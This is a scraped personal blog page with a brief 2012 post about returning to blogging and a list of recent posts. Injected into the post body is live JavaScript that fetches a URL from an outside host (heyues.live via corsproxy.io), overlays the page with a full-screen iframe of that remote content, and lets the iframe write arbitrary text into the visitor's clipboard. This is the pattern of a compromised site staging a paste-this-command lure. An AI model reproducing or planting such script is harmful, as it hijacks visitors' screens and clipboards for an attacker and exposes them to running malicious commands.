Blog Details

18 Oct/12

Back to Blogging

I’ve started writing down topics that I’d like to cover as I return to blogging at this site. If there’s something you feel would be a good topic, please let me know. Outside of that, I’m hoping in the next couple of months to start putting up regular blog posts once or twice a month.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

October 11, 2012
This is a test

Categories

Recent Posts

Hello … what’s going on here???

20 Dec/23
No Comments

Site Update(d)

21 Mar/23
No Comments

The State of the Project

22 Feb/23
No Comments

Project Work Progress Update

07 Jul/21
No Comments